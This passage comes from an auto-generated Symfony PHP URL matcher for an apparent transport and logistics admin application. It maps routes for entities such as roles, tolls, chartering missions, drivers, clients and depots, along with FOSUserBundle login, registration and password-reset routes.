return $this->mergeDefaults(array_replace($matches, array('_route' => 'typeconsommation_show')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\TypeConsommationController::showAction',));
}
// typeconsommation_new
if ($pathinfo === '/typeconsommation/new') {
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\TypeConsommationController::newAction', '_route' => 'typeconsommation_new',);
}
// typeconsommation_create
if ($pathinfo === '/typeconsommation/create') {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_typeconsommation_create;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\TypeConsommationController::createAction', '_route' => 'typeconsommation_create',);
}
not_typeconsommation_create:
// typeconsommation_edit
if (preg_match('#^/typeconsommation/(?P<id>[^/]++)/edit$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'typeconsommation_edit')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\TypeConsommationController::editAction',));
}
// typeconsommation_update
if (preg_match('#^/typeconsommation/(?P<id>[^/]++)/update$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'PUT'))) {
$allow = array_merge($allow, array('POST', 'PUT'));
goto not_typeconsommation_update;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'typeconsommation_update')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\TypeConsommationController::updateAction',));
}
not_typeconsommation_update:
// typeconsommation_delete
if (preg_match('#^/typeconsommation/(?P<id>[^/]++)/delete$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'DELETE'))) {
$allow = array_merge($allow, array('POST', 'DELETE'));
goto not_typeconsommation_delete;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'typeconsommation_delete')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\TypeConsommationController::deleteAction',));
}
not_typeconsommation_delete:
}
if (0 === strpos($pathinfo, '/role')) {
// role
if (rtrim($pathinfo, '/') === '/role') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'role');
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\RoleController::indexAction', '_route' => 'role',);
}
// role_show
if (preg_match('#^/role/(?P<id>[^/]++)/show$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'role_show')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\RoleController::showAction',));
}
// role_new
if ($pathinfo === '/role/new') {
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\RoleController::newAction', '_route' => 'role_new',);
}
// role_create
if ($pathinfo === '/role/create') {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_role_create;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\RoleController::createAction', '_route' => 'role_create',);
}
not_role_create:
// role_edit
if (preg_match('#^/role/(?P<id>[^/]++)/edit$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'role_edit')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\RoleController::editAction',));
}
// role_update
if (preg_match('#^/role/(?P<id>[^/]++)/update$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'PUT'))) {
$allow = array_merge($allow, array('POST', 'PUT'));
goto not_role_update;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'role_update')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\RoleController::updateAction',));
}
not_role_update:
// role_delete
if (preg_match('#^/role/(?P<id>[^/]++)/delete$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'DELETE'))) {
$allow = array_merge($allow, array('POST', 'DELETE'));
goto not_role_delete;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'role_delete')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\RoleController::deleteAction',));
}
not_role_delete:
// role_recherche
if ($pathinfo === '/role/search') {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_role_recherche;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\RoleController::rechercheAction', '_route' => 'role_recherche',);
}
not_role_recherche:
}
if (0 === strpos($pathinfo, '/peage')) {
// peage
if (rtrim($pathinfo, '/') === '/peage') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'peage');
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\PeageController::indexAction', '_route' => 'peage',);
}
// peage_show
if (preg_match('#^/peage/(?P<id>[^/]++)/show$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'peage_show')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\PeageController::showAction',));
}
}
if (0 === strpos($pathinfo, '/m')) {
if (0 === strpos($pathinfo, '/modification')) {
// modification
if (rtrim($pathinfo, '/') === '/modification') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'modification');
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ModificationController::indexAction', '_route' => 'modification',);
}
// modification_show
if (preg_match('#^/modification/(?P<id>[^/]++)/show$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'modification_show')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ModificationController::showAction',));
}
// modification_delete
if (preg_match('#^/modification/(?P<id>[^/]++)/delete$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'DELETE'))) {
$allow = array_merge($allow, array('POST', 'DELETE'));
goto not_modification_delete;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'modification_delete')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ModificationController::deleteAction',));
}
not_modification_delete:
// modification_recherche
if ($pathinfo === '/modification/search') {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_modification_recherche;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ModificationController::rechercheAction', '_route' => 'modification_recherche',);
}
not_modification_recherche:
// modification_vider
if ($pathinfo === '/modification/vider') {
if (!in_array($this->context->getMethod(), array('POST', 'DELETE'))) {
$allow = array_merge($allow, array('POST', 'DELETE'));
goto not_modification_vider;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ModificationController::viderAction', '_route' => 'modification_vider',);
}
not_modification_vider:
// modification_vider_recherche
if (preg_match('#^/modification/(?P<ids>[^/]++)/vider_recherche$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_modification_vider_recherche;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'modification_vider_recherche')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ModificationController::deleteRechercheAction', 'ids' => -1,));
}
not_modification_vider_recherche:
}
if (0 === strpos($pathinfo, '/missionaffretement')) {
// missionaffretement
if (rtrim($pathinfo, '/') === '/missionaffretement') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'missionaffretement');
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\MissionAffretementController::indexAction', 'etat' => 'ouverte', '_route' => 'missionaffretement',);
}
// missionaffretement_etat
if (preg_match('#^/missionaffretement(?:/(?P<etat>ouverte|cloturer|annuler|valider))?$#s', $pathinfo, $matches)) {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_missionaffretement_etat;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'missionaffretement_etat')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\MissionAffretementController::indexAction', 'etat' => 'ouverte',));
}
not_missionaffretement_etat:
// missionaffretement_show
if (preg_match('#^/missionaffretement/(?P<id>[^/]++)/show$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'missionaffretement_show')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\MissionAffretementController::showAction',));
}
// missionaffretement_new
if ($pathinfo === '/missionaffretement/new') {
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\MissionAffretementController::newAction', '_route' => 'missionaffretement_new',);
}
// missionaffretement_create
if ($pathinfo === '/missionaffretement/create') {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_missionaffretement_create;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\MissionAffretementController::createAction', '_route' => 'missionaffretement_create',);
}
not_missionaffretement_create:
// missionaffretement_edit
if (preg_match('#^/missionaffretement/(?P<id>[^/]++)/edit$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'missionaffretement_edit')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\MissionAffretementController::editAction',));
}
// missionaffretement_update
if (preg_match('#^/missionaffretement/(?P<id>[^/]++)/update$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'PUT'))) {
$allow = array_merge($allow, array('POST', 'PUT'));
goto not_missionaffretement_update;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'missionaffretement_update')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\MissionAffretementController::updateAction',));
}
not_missionaffretement_update:
// missionaffretement_delete
if (preg_match('#^/missionaffretement/(?P<id>[^/]++)/delete$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'DELETE'))) {
$allow = array_merge($allow, array('POST', 'DELETE'));
goto not_missionaffretement_delete;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'missionaffretement_delete')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\MissionAffretementController::deleteAction',));
}
not_missionaffretement_delete:
// missionaffretement_chngeetat
if (preg_match('#^/missionaffretement/(?P<id>[^/]++)/etat/(?P<chngeetat>cloturer|annuler|ouverte)$#s', $pathinfo, $matches)) {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_missionaffretement_chngeetat;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'missionaffretement_chngeetat')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\MissionAffretementController::chngeetatAction',));
}
not_missionaffretement_chngeetat:
// missionaffretement_recherche
if ($pathinfo === '/missionaffretement/search') {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_missionaffretement_recherche;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\MissionAffretementController::rechercheAction', '_route' => 'missionaffretement_recherche',);
}
not_missionaffretement_recherche:
// missionaffretement_apercu
if (preg_match('#^/missionaffretement/(?P<id>[^/]++)/apercu(?:/(?P<quoi>view|save))?$#s', $pathinfo, $matches)) {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_missionaffretement_apercu;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'missionaffretement_apercu')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\MissionAffretementController::apercuAction', 'quoi' => 'view',));
}
not_missionaffretement_apercu:
}
if (0 === strpos($pathinfo, '/manutentionnaire')) {
// manutentionnaire
if (rtrim($pathinfo, '/') === '/manutentionnaire') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'manutentionnaire');
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ManutentionnaireController::indexAction', '_route' => 'manutentionnaire',);
}
// manutentionnaire_show
if (preg_match('#^/manutentionnaire/(?P<id>[^/]++)/show$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'manutentionnaire_show')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ManutentionnaireController::showAction',));
}
// manutentionnaire_new
if ($pathinfo === '/manutentionnaire/new') {
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ManutentionnaireController::newAction', '_route' => 'manutentionnaire_new',);
}
// manutentionnaire_create
if ($pathinfo === '/manutentionnaire/create') {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_manutentionnaire_create;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ManutentionnaireController::createAction', '_route' => 'manutentionnaire_create',);
}
not_manutentionnaire_create:
// manutentionnaire_edit
if (preg_match('#^/manutentionnaire/(?P<id>[^/]++)/edit$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'manutentionnaire_edit')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ManutentionnaireController::editAction',));
}
// manutentionnaire_update
if (preg_match('#^/manutentionnaire/(?P<id>[^/]++)/update$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'PUT'))) {
$allow = array_merge($allow, array('POST', 'PUT'));
goto not_manutentionnaire_update;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'manutentionnaire_update')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ManutentionnaireController::updateAction',));
}
not_manutentionnaire_update:
// manutentionnaire_delete
if (preg_match('#^/manutentionnaire/(?P<id>[^/]++)/delete$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'DELETE'))) {
$allow = array_merge($allow, array('POST', 'DELETE'));
goto not_manutentionnaire_delete;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'manutentionnaire_delete')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ManutentionnaireController::deleteAction',));
}
not_manutentionnaire_delete:
// manutentionnaire_recherche
if ($pathinfo === '/manutentionnaire/search') {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_manutentionnaire_recherche;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ManutentionnaireController::rechercheAction', '_route' => 'manutentionnaire_recherche',);
}
not_manutentionnaire_recherche:
}
}
if (0 === strpos($pathinfo, '/filiale')) {
// filiale
if (rtrim($pathinfo, '/') === '/filiale') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'filiale');
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FilialeController::indexAction', '_route' => 'filiale',);
}
// filiale_show
if (preg_match('#^/filiale/(?P<id>[^/]++)/show$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'filiale_show')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FilialeController::showAction',));
}
// filiale_new
if ($pathinfo === '/filiale/new') {
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FilialeController::newAction', '_route' => 'filiale_new',);
}
// filiale_create
if ($pathinfo === '/filiale/create') {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_filiale_create;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FilialeController::createAction', '_route' => 'filiale_create',);
}
not_filiale_create:
// filiale_edit
if (preg_match('#^/filiale/(?P<id>[^/]++)/edit$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'filiale_edit')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FilialeController::editAction',));
}
// filiale_update
if (preg_match('#^/filiale/(?P<id>[^/]++)/update$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'PUT'))) {
$allow = array_merge($allow, array('POST', 'PUT'));
goto not_filiale_update;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'filiale_update')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FilialeController::updateAction',));
}
not_filiale_update:
// filiale_delete
if (preg_match('#^/filiale/(?P<id>[^/]++)/delete$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'DELETE'))) {
$allow = array_merge($allow, array('POST', 'DELETE'));
goto not_filiale_delete;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'filiale_delete')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\FilialeController::deleteAction',));
}
not_filiale_delete:
}
if (0 === strpos($pathinfo, '/depot')) {
// depot
if (rtrim($pathinfo, '/') === '/depot') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'depot');
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\DepotController::indexAction', '_route' => 'depot',);
}
// depot_show
if (preg_match('#^/depot/(?P<id>[^/]++)/show$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'depot_show')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\DepotController::showAction',));
}
// depot_new
if ($pathinfo === '/depot/new') {
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\DepotController::newAction', '_route' => 'depot_new',);
}
// depot_create
if ($pathinfo === '/depot/create') {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_depot_create;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\DepotController::createAction', '_route' => 'depot_create',);
}
not_depot_create:
// depot_edit
if (preg_match('#^/depot/(?P<id>[^/]++)/edit$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'depot_edit')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\DepotController::editAction',));
}
// depot_update
if (preg_match('#^/depot/(?P<id>[^/]++)/update$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'PUT'))) {
$allow = array_merge($allow, array('POST', 'PUT'));
goto not_depot_update;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'depot_update')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\DepotController::updateAction',));
}
not_depot_update:
// depot_delete
if (preg_match('#^/depot/(?P<id>[^/]++)/delete$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'DELETE'))) {
$allow = array_merge($allow, array('POST', 'DELETE'));
goto not_depot_delete;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'depot_delete')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\DepotController::deleteAction',));
}
not_depot_delete:
// depot_recherche
if ($pathinfo === '/depot/search') {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_depot_recherche;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\DepotController::rechercheAction', '_route' => 'depot_recherche',);
}
not_depot_recherche:
}
if (0 === strpos($pathinfo, '/c')) {
if (0 === strpos($pathinfo, '/client')) {
// client
if (rtrim($pathinfo, '/') === '/client') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'client');
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ClientController::indexAction', '_route' => 'client',);
}
// client_show
if (preg_match('#^/client/(?P<id>[^/]++)/show$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'client_show')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ClientController::showAction',));
}
// client_new
if ($pathinfo === '/client/new') {
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ClientController::newAction', '_route' => 'client_new',);
}
// client_create
if ($pathinfo === '/client/create') {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_client_create;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ClientController::createAction', '_route' => 'client_create',);
}
not_client_create:
// client_edit
if (preg_match('#^/client/(?P<id>[^/]++)/edit$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'client_edit')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ClientController::editAction',));
}
// client_update
if (preg_match('#^/client/(?P<id>[^/]++)/update$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'PUT'))) {
$allow = array_merge($allow, array('POST', 'PUT'));
goto not_client_update;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'client_update')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ClientController::updateAction',));
}
not_client_update:
// client_delete
if (preg_match('#^/client/(?P<id>[^/]++)/delete$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'DELETE'))) {
$allow = array_merge($allow, array('POST', 'DELETE'));
goto not_client_delete;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'client_delete')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ClientController::deleteAction',));
}
not_client_delete:
// client_recherche
if ($pathinfo === '/client/search') {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_client_recherche;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ClientController::rechercheAction', '_route' => 'client_recherche',);
}
not_client_recherche:
}
if (0 === strpos($pathinfo, '/chauffeur')) {
// chauffeur
if (rtrim($pathinfo, '/') === '/chauffeur') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'chauffeur');
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ChauffeurController::indexAction', '_route' => 'chauffeur',);
}
// chauffeur_show
if (preg_match('#^/chauffeur/(?P<id>[^/]++)/show$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'chauffeur_show')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ChauffeurController::showAction',));
}
// chauffeur_new
if ($pathinfo === '/chauffeur/new') {
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ChauffeurController::newAction', '_route' => 'chauffeur_new',);
}
// chauffeur_create
if ($pathinfo === '/chauffeur/create') {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_chauffeur_create;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ChauffeurController::createAction', '_route' => 'chauffeur_create',);
}
not_chauffeur_create:
// chauffeur_edit
if (preg_match('#^/chauffeur/(?P<id>[^/]++)/edit$#s', $pathinfo, $matches)) {
return $this->mergeDefaults(array_replace($matches, array('_route' => 'chauffeur_edit')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ChauffeurController::editAction',));
}
// chauffeur_update
if (preg_match('#^/chauffeur/(?P<id>[^/]++)/update$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'PUT'))) {
$allow = array_merge($allow, array('POST', 'PUT'));
goto not_chauffeur_update;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'chauffeur_update')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ChauffeurController::updateAction',));
}
not_chauffeur_update:
// chauffeur_delete
if (preg_match('#^/chauffeur/(?P<id>[^/]++)/delete$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('POST', 'DELETE'))) {
$allow = array_merge($allow, array('POST', 'DELETE'));
goto not_chauffeur_delete;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'chauffeur_delete')), array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ChauffeurController::deleteAction',));
}
not_chauffeur_delete:
// chauffeur_recherche
if ($pathinfo === '/chauffeur/search') {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_chauffeur_recherche;
}
return array ( '_controller' => 'Fdr\\AdminBundle\\Controller\\ChauffeurController::rechercheAction', '_route' => 'chauffeur_recherche',);
}
not_chauffeur_recherche:
}
}
if (0 === strpos($pathinfo, '/test')) {
// test
if ($pathinfo === '/test') {
return array ( '_controller' => 'FdrAdminBundle:Default:test', '_route' => 'test',);
}
// testrep
if ($pathinfo === '/testrep') {
return array ( '_controller' => 'FdrAdminBundle:Default:testrep', '_route' => 'testrep',);
}
}
// homepage
if ($pathinfo === '/app/example') {
return array ( '_controller' => 'AppBundle\\Controller\\DefaultController::indexAction', '_route' => 'homepage',);
}
if (0 === strpos($pathinfo, '/log')) {
if (0 === strpos($pathinfo, '/login')) {
// fos_user_security_login
if ($pathinfo === '/login') {
return array ( '_controller' => 'FOS\\UserBundle\\Controller\\SecurityController::loginAction', '_route' => 'fos_user_security_login',);
}
// fos_user_security_check
if ($pathinfo === '/login_check') {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_fos_user_security_check;
}
return array ( '_controller' => 'FOS\\UserBundle\\Controller\\SecurityController::checkAction', '_route' => 'fos_user_security_check',);
}
not_fos_user_security_check:
}
// fos_user_security_logout
if ($pathinfo === '/logout') {
return array ( '_controller' => 'FOS\\UserBundle\\Controller\\SecurityController::logoutAction', '_route' => 'fos_user_security_logout',);
}
}
if (0 === strpos($pathinfo, '/profile')) {
// fos_user_profile_show
if (rtrim($pathinfo, '/') === '/profile') {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_fos_user_profile_show;
}
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'fos_user_profile_show');
}
return array ( '_controller' => 'Fdr\\UserBundle\\Controller\\ProfileController::showAction', '_route' => 'fos_user_profile_show',);
}
not_fos_user_profile_show:
// fos_user_profile_edit
if ($pathinfo === '/profile/edit') {
return array ( '_controller' => 'Fdr\\UserBundle\\Controller\\ProfileController::editAction', '_route' => 'fos_user_profile_edit',);
}
}
if (0 === strpos($pathinfo, '/re')) {
if (0 === strpos($pathinfo, '/register')) {
// fos_user_registration_register
if (rtrim($pathinfo, '/') === '/register') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'fos_user_registration_register');
}
return array ( '_controller' => 'Fdr\\UserBundle\\Controller\\RegistrationController::registerAction', '_route' => 'fos_user_registration_register',);
}
if (0 === strpos($pathinfo, '/register/c')) {
// fos_user_registration_check_email
if ($pathinfo === '/register/check-email') {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_fos_user_registration_check_email;
}
return array ( '_controller' => 'Fdr\\UserBundle\\Controller\\RegistrationController::checkEmailAction', '_route' => 'fos_user_registration_check_email',);
}
not_fos_user_registration_check_email:
if (0 === strpos($pathinfo, '/register/confirm')) {
// fos_user_registration_confirm
if (preg_match('#^/register/confirm/(?P<token>[^/]++)$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_fos_user_registration_confirm;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'fos_user_registration_confirm')), array ( '_controller' => 'Fdr\\UserBundle\\Controller\\RegistrationController::confirmAction',));
}
not_fos_user_registration_confirm:
// fos_user_registration_confirmed
if ($pathinfo === '/register/confirmed') {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_fos_user_registration_confirmed;
}
return array ( '_controller' => 'Fdr\\UserBundle\\Controller\\RegistrationController::confirmedAction', '_route' => 'fos_user_registration_confirmed',);
}
not_fos_user_registration_confirmed:
}
}
}
if (0 === strpos($pathinfo, '/resetting')) {
// fos_user_resetting_request
if ($pathinfo === '/resetting/request') {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_fos_user_resetting_request;
}
return array ( '_controller' => 'FOS\\UserBundle\\Controller\\ResettingController::requestAction', '_route' => 'fos_user_resetting_request',);
}
not_fos_user_resetting_request:
// fos_user_resetting_send_email
if ($pathinfo === '/resetting/send-email') {
if ($this->context->getMethod() != 'POST') {
$allow[] = 'POST';
goto not_fos_user_resetting_send_email;
}
return array ( '_controller' => 'FOS\\UserBundle\\Controller\\ResettingController::sendEmailAction', '_route' => 'fos_user_resetting_send_email',);
}
not_fos_user_resetting_send_email:
// fos_user_resetting_check_email
if ($pathinfo === '/resetting/check-email') {
if (!in_array($this->context->getMethod(), array('GET', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'HEAD'));
goto not_fos_user_resetting_check_email;
}
return array ( '_controller' => 'FOS\\UserBundle\\Controller\\ResettingController::checkEmailAction', '_route' => 'fos_user_resetting_check_email',);
}
not_fos_user_resetting_check_email:
// fos_user_resetting_reset
if (0 === strpos($pathinfo, '/resetting/reset') && preg_match('#^/resetting/reset/(?P<token>[^/]++)$#s', $pathinfo, $matches)) {
if (!in_array($this->context->getMethod(), array('GET', 'POST', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'POST', 'HEAD'));
goto not_fos_user_resetting_reset;
}
return $this->mergeDefaults(array_replace($matches, array('_route' => 'fos_user_resetting_reset')), array ( '_controller' => 'FOS\\UserBundle\\Controller\\ResettingController::resetAction',));
}
not_fos_user_resetting_reset:
}
}
// fos_user_change_password
if ($pathinfo === '/profile/change-password') {
if (!in_array($this->context->getMethod(), array('GET', 'POST', 'HEAD'))) {
$allow = array_merge($allow, array('GET', 'POST', 'HEAD'));
goto not_fos_user_change_password;
}
return array ( '_controller' => 'Fdr\\UserBundle\\Controller\\ChangePasswordController::changePasswordAction', '_route' => 'fos_user_change_password',);
}
not_fos_user_change_password:
// home_admin
if (rtrim($pathinfo, '/') === '/admin') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'home_admin');
}
return array ( '_controller' => 'FdrAdminBundle:Default:index', 'name' => 'admin', '_route' => 'home_admin',);
}
// home_user
if (rtrim($pathinfo, '/') === '') {
if (substr($pathinfo, -1) !== '/') {
return $this->redirect($pathinfo.'/', 'home_user');
}
